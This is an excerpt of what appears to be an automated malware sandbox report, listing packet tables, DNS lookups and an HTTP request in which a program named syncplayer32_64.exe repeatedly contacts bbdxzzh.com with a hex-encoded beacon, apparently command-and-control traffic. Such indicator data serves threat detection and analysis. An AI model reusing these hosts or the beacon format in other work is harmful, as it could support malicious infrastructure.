Nov 5, 2024 02:15:27.216620922 CET	80	49926	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:27.216640949 CET	80	49933	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:27.216690063 CET	49926	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:27.216711998 CET	49933	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:27.234129906 CET	49933	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:27.238857985 CET	80	49933	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:28.133186102 CET	80	49933	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:28.133250952 CET	49933	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:28.253622055 CET	49933	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:28.253894091 CET	49941	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:28.258699894 CET	80	49941	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:28.258755922 CET	49941	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:28.258824110 CET	80	49933	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:28.258872986 CET	49933	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:28.258877993 CET	49941	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:28.263716936 CET	80	49941	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:29.159308910 CET	80	49941	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:29.159380913 CET	49941	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:29.269623041 CET	49941	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:29.274511099 CET	80	49941	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:29.570806980 CET	80	49941	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:29.570861101 CET	49941	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:30.066306114 CET	49941	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:30.066682100 CET	49949	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:30.071366072 CET	80	49941	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:30.071419001 CET	49941	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:30.071453094 CET	80	49949	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:30.071507931 CET	49949	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:30.071664095 CET	49949	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:30.077089071 CET	80	49949	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:30.984838963 CET	80	49949	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:30.984895945 CET	49949	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:31.098081112 CET	49949	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:31.098361015 CET	49959	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:31.103207111 CET	80	49959	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:31.103265047 CET	80	49949	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:31.103282928 CET	49959	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:31.103311062 CET	49949	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:31.103532076 CET	49959	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:31.108349085 CET	80	49959	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:31.689709902 CET	80	49914	199.101.131.210	192.168.2.4
Nov 5, 2024 02:15:31.689773083 CET	49914	80	192.168.2.4	199.101.131.210
Nov 5, 2024 02:15:31.689832926 CET	49914	80	192.168.2.4	199.101.131.210
Nov 5, 2024 02:15:31.689861059 CET	49915	2023	192.168.2.4	89.105.201.183
Nov 5, 2024 02:15:31.694622040 CET	80	49914	199.101.131.210	192.168.2.4
Nov 5, 2024 02:15:31.694889069 CET	2023	49915	89.105.201.183	192.168.2.4
Nov 5, 2024 02:15:31.694938898 CET	49915	2023	192.168.2.4	89.105.201.183
Nov 5, 2024 02:15:32.026905060 CET	80	49959	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:32.026990891 CET	49959	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:32.144897938 CET	49959	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:32.145092964 CET	49966	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:32.149884939 CET	80	49966	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:32.149955988 CET	49966	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:32.150043011 CET	49966	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:32.150098085 CET	80	49959	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:32.150157928 CET	49959	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:32.154799938 CET	80	49966	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:33.060305119 CET	80	49966	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:33.060396910 CET	49966	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:33.175705910 CET	49966	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:33.176028967 CET	49972	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:33.180953026 CET	80	49972	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:33.180999041 CET	80	49966	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:33.181056976 CET	49972	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:33.181088924 CET	49966	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:33.181283951 CET	49972	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:33.186054945 CET	80	49972	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:34.107084990 CET	80	49972	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:34.107691050 CET	49972	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:34.222650051 CET	49972	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:34.222964048 CET	49978	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:34.227760077 CET	80	49978	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:34.227837086 CET	80	49972	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:34.227935076 CET	49972	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:34.228122950 CET	49978	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:34.228122950 CET	49978	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:34.232867002 CET	80	49978	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:35.167972088 CET	80	49978	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:35.168076038 CET	49978	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:35.285276890 CET	49978	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:35.285584927 CET	49984	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:35.291249990 CET	80	49984	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:35.291316986 CET	49984	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:35.291455030 CET	49984	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:35.291623116 CET	80	49978	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:35.291677952 CET	49978	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:35.298326969 CET	80	49984	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:36.213778019 CET	80	49984	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:36.213861942 CET	49984	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:36.331962109 CET	49984	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:36.332238913 CET	49993	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:36.337052107 CET	80	49993	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:36.337065935 CET	80	49984	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:36.337152004 CET	49984	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:36.337162018 CET	49993	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:36.337260962 CET	49993	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:36.341978073 CET	80	49993	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:37.260365963 CET	80	49993	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:37.260422945 CET	49993	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:37.378793955 CET	49993	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:37.379035950 CET	50000	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:37.383795977 CET	80	50000	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:37.383858919 CET	50000	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:37.383944035 CET	50000	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:37.383985043 CET	80	49993	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:37.384032965 CET	49993	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:37.388659000 CET	80	50000	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:38.282339096 CET	80	50000	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:38.282393932 CET	50000	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:38.394481897 CET	50000	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:38.399321079 CET	80	50000	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:38.694845915 CET	80	50000	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:38.694907904 CET	50000	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:38.821578979 CET	50000	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:38.821917057 CET	50007	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:38.826746941 CET	80	50000	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:38.826761007 CET	80	50007	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:38.826813936 CET	50000	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:38.826848984 CET	50007	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:38.826977968 CET	50007	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:38.831677914 CET	80	50007	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:39.768481970 CET	80	50007	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:39.768543959 CET	50007	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:39.879595995 CET	50007	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:39.880018950 CET	50016	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:39.884767056 CET	80	50007	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:39.884810925 CET	80	50016	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:39.884818077 CET	50007	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:39.884881020 CET	50016	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:39.884989977 CET	50016	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:39.889713049 CET	80	50016	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:40.808901072 CET	80	50016	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:40.810715914 CET	50016	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:40.926182032 CET	50016	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:40.926500082 CET	50022	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:40.931305885 CET	80	50022	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:40.931385994 CET	50022	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:40.931406975 CET	80	50016	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:40.931478977 CET	50016	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:40.931548119 CET	50022	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:40.936276913 CET	80	50022	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:41.841882944 CET	80	50022	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:41.843736887 CET	50022	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:41.957221985 CET	50022	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:41.957477093 CET	50030	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:41.963793993 CET	80	50030	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:41.963850021 CET	50030	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:41.963979006 CET	50030	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:41.969541073 CET	80	50022	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:41.969609976 CET	50022	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:41.969706059 CET	80	50030	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:42.876575947 CET	80	50030	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:42.876657963 CET	50030	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:42.988270044 CET	50030	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:42.992999077 CET	80	50030	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:43.296240091 CET	80	50030	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:43.296294928 CET	50030	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:43.410058022 CET	50030	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:43.410316944 CET	50039	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:43.415091038 CET	80	50039	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:43.415174007 CET	50039	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:43.415334940 CET	50039	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:43.415369987 CET	80	50030	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:43.415426016 CET	50030	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:43.420063019 CET	80	50039	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:44.337795973 CET	80	50039	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:44.337862968 CET	50039	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:44.457026005 CET	50039	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:44.457313061 CET	50045	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:44.462100029 CET	80	50045	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:44.462112904 CET	80	50039	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:44.462165117 CET	50039	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:44.462177992 CET	50045	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:44.462308884 CET	50045	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:44.467065096 CET	80	50045	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:45.383307934 CET	80	50045	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:45.383394957 CET	50045	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:45.503597975 CET	50045	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:45.503865957 CET	50050	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:45.508645058 CET	80	50045	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:45.508661985 CET	80	50050	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:45.508709908 CET	50045	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:45.508757114 CET	50050	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:45.508907080 CET	50050	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:45.513632059 CET	80	50050	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:46.434077024 CET	80	50050	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:46.434283972 CET	50050	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:46.552369118 CET	50050	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:46.552647114 CET	50051	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:46.557426929 CET	80	50051	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:46.557482004 CET	80	50050	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:46.557492018 CET	50051	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:46.557526112 CET	50050	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:46.557611942 CET	50051	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:46.562359095 CET	80	50051	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:47.470503092 CET	80	50051	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:47.470592976 CET	50051	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:47.581784964 CET	50051	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:47.586602926 CET	80	50051	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:47.884053946 CET	80	50051	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:47.885636091 CET	50051	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:48.003529072 CET	50051	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:48.003817081 CET	50052	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:48.008703947 CET	80	50052	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:48.008716106 CET	80	50051	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:48.008795023 CET	50051	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:48.008806944 CET	50052	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:48.008928061 CET	50052	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:48.013670921 CET	80	50052	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:48.928807974 CET	80	50052	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:48.928881884 CET	50052	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:49.034708023 CET	50052	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:49.035011053 CET	50053	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:49.039786100 CET	80	50053	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:49.039804935 CET	80	50052	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:49.039863110 CET	50053	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:49.039885998 CET	50052	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:49.040009975 CET	50053	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:49.044761896 CET	80	50053	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:49.984164953 CET	80	50053	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:49.984342098 CET	50053	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:50.097439051 CET	50053	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:50.097732067 CET	50054	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:50.102500916 CET	80	50054	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:50.102524042 CET	80	50053	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:50.102585077 CET	50054	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:50.102612972 CET	50053	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:50.102724075 CET	50054	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:50.107429981 CET	80	50054	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:51.054639101 CET	80	50054	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:51.054714918 CET	50054	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:51.175731897 CET	50054	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:51.176043034 CET	50055	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:51.180802107 CET	80	50055	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:51.180892944 CET	50055	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:51.180946112 CET	80	50054	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:51.180996895 CET	50054	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:51.181107998 CET	50055	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:51.185895920 CET	80	50055	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:52.094575882 CET	80	50055	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:52.094748020 CET	50055	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:52.207037926 CET	50055	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:52.207355022 CET	50056	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:52.212163925 CET	80	50055	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:52.212228060 CET	50055	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:52.212460041 CET	80	50056	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:52.212527990 CET	50056	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:52.212630987 CET	50056	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:52.217344046 CET	80	50056	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:53.267668962 CET	80	50056	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:53.267724991 CET	50056	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:53.396187067 CET	50056	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:53.396503925 CET	50057	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:53.401304007 CET	80	50057	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:53.401380062 CET	50057	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:53.401473999 CET	50057	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:53.401500940 CET	80	50056	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:53.401700974 CET	50056	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:53.406460047 CET	80	50057	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:54.323297024 CET	80	50057	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:54.323360920 CET	50057	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:54.443837881 CET	50057	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:54.444236994 CET	50058	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:54.449042082 CET	80	50058	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:54.449055910 CET	80	50057	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:54.449134111 CET	50057	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:54.449188948 CET	50058	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:54.449378014 CET	50058	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:54.454097986 CET	80	50058	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:55.382477999 CET	80	50058	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:55.382683992 CET	50058	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:55.505443096 CET	50058	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:55.505795956 CET	50059	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:55.510605097 CET	80	50059	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:55.510627031 CET	80	50058	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:55.510704041 CET	50058	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:55.510715008 CET	50059	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:55.510847092 CET	50059	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:55.515607119 CET	80	50059	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:56.434573889 CET	80	50059	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:56.434637070 CET	50059	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:56.805146933 CET	50059	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:56.805650949 CET	50060	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:56.906111002 CET	80	50060	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:56.906194925 CET	50060	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:56.906683922 CET	80	50059	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:56.906712055 CET	50060	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:56.906758070 CET	50059	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:56.914617062 CET	80	50060	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:57.844975948 CET	80	50060	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:57.845030069 CET	50060	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:57.959120989 CET	50060	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:57.959526062 CET	50061	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:57.964304924 CET	80	50060	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:57.964353085 CET	80	50061	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:57.964375019 CET	50060	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:57.964426041 CET	50061	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:57.964548111 CET	50061	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:57.969265938 CET	80	50061	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:58.911030054 CET	80	50061	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:58.911114931 CET	50061	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:59.021250963 CET	50061	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:59.021627903 CET	50062	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:59.026479959 CET	80	50062	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:59.026540995 CET	80	50061	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:59.029655933 CET	50061	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:59.029656887 CET	50062	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:59.033468962 CET	50062	80	192.168.2.4	185.208.158.202
Nov 5, 2024 02:15:59.038392067 CET	80	50062	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:59.952490091 CET	80	50062	185.208.158.202	192.168.2.4
Nov 5, 2024 02:15:59.952574015 CET	50062	80	192.168.2.4	185.208.158.202

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 5, 2024 02:14:48.743976116 CET	50128	53	192.168.2.4	91.211.247.248
Nov 5, 2024 02:14:48.786595106 CET	53	50128	91.211.247.248	192.168.2.4
Nov 5, 2024 02:15:24.288938046 CET	63349	53	192.168.2.4	1.1.1.1
Nov 5, 2024 02:15:24.315840960 CET	53	63349	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 5, 2024 02:14:48.743976116 CET	192.168.2.4	91.211.247.248	0x9ee9	Standard query (0)	bbdxzzh.com	A (IP address)	IN (0x0001)	false
Nov 5, 2024 02:15:24.288938046 CET	192.168.2.4	1.1.1.1	0xf213	Standard query (0)	endpoints5-scl.5060sip.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 5, 2024 02:14:48.786595106 CET	91.211.247.248	192.168.2.4	0x9ee9	No error (0)	bbdxzzh.com		185.208.158.202	A (IP address)	IN (0x0001)	false
Nov 5, 2024 02:15:24.315840960 CET	1.1.1.1	192.168.2.4	0xf213	No error (0)	endpoints5-scl.5060sip.com		199.101.131.210	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bbdxzzh.com

endpoints5-scl.5060sip.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:14:48.849531889 CET	314	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c446db22f31df92d8838ed12a666d307eca743ec4c2b07b5296692386789f918c2e690 HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
